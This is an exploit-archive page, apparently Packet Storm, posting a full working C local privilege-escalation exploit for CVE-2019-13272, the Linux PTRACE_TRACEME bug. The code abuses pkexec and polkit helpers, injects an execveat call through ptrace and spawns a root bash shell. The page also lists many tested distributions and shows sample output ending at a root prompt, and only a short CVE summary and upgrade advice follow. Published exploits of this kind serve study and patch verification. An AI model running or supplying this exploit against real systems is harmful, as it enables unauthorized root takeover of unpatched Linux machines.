what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux PTRACE_TRACEME Local Root

Linux PTRACE_TRACEME Local Root
Posted Mar 26, 2020
Authored by nu11secur1ty, Ventsislav Varbanovski

Linux kernel versions starting at 4.10 and below 5.1.7 PTRACE_TRACEME local root exploit that uses the pkexec technique.

tags | exploit, kernel, local, root
systems | linux
advisories | CVE-2019-13272
SHA-256 | e7f854bf4bfbbd6ef656848e475779ed5d37f0342d90b357fbfff5954374bb40

Linux PTRACE_TRACEME Local Root

Change Mirror Download
# Exploit Title: Ubuntu 16.04.6-Kernel-PTRACE_TRACEME-allows_local_users_to_obtain_root_access  - Local
# Author: nu11secur1ty
# Date: 2020-03-26
# Vendor: Ubuntu Linux kernel before 5.1.17
# Link: https://github.com/nu11secur1ty/Ubuntu/tree/master/CVE-2019-13272
# CVE: CVE-2019-13272



[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source: readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
--------------------------
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// Modified and tested on Ubuntu 16.04.6 by Ventsislav Varbanovski
@nu11secur1ty
// https://www.nu11secur1ty.com/
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif

#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}

/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();

self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);

SAFE(dup2(self_fd, 42));

/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}

/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become
our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);

dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}

SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));

/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}

middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}

/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;

SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
}

static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
force_exec_and_wait(child, 42, "stage3");
return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * *
* *

static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
* *

static int check_env(void) {
const char* xdg_session = getenv("XDG_SESSION_ID");

dprintf("[.] Checking environment ...\n");

if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
exit(EXIT_FAILURE);
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
return 1;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID
| /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
return 1;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") ==
0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
return 1;
}
}

dprintf("[~] Done, looks good\n");

return 0;
}

/*
* Use pkaction to search PolKit policy actions for viable helper
executables.
* Check each action for allow_active=yes, extract the associated helper
path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}

char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);

while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}

if (useful_action == 0)
continue;
useful_action = 0;

/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;

memset(buffer, 0, sizeof(buffer));
for (int i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}

if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}

/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;

helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;

if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}

pclose(fp);
return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);

/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));

/* spawn pkexec in a child, and continue here once our child is in
execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;

/*
* wait for our child to go through both execve() calls (first pkexec,
then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}

/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");

force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();

dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root
(CVE-2019-13272)\n");

check_env();

if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}

/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}

/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;

if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}

return 0;
}

[Vendor]
Ubuntu


[Vulnerability Type]
Local rootkit exploit


[CVE Reference]
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c
mishandles the recording of the credentials of a process that wants to
create a ptrace relationship,
which allows local users to obtain root access by leveraging certain
scenarios with a parent-child process relationship,
where a parent drops privileges and calls execve (potentially allowing
control by an attacker).
One contributing factor is an object lifetime issue (which can also cause a
panic).
Another contributing factor is incorrect marking of a ptrace relationship
as privileged, which is exploitable through (for example) Polkit's pkexec
helper with PTRACE_TRACEME.
NOTE: SELinux deny_ptrace might be a usable workaround in some environments.


[Security Issue]
root access by leveraging certain scenarios


[Video]
https://www.youtube.com/watch?v=FGKhQkk8V5g


[Disclosure Timeline]
2019/07/04


[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability was
discovered,
shared with the affected vendor, publicly disclosed, or updated in CVE.

[Fix]
Immediately UPGRADE your Ubuntu distro using your package manager, or make
patching your Linux Kernel...
More information: https://github.com/nu11secur1ty/insmod_block

@nu11secur1ty

--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close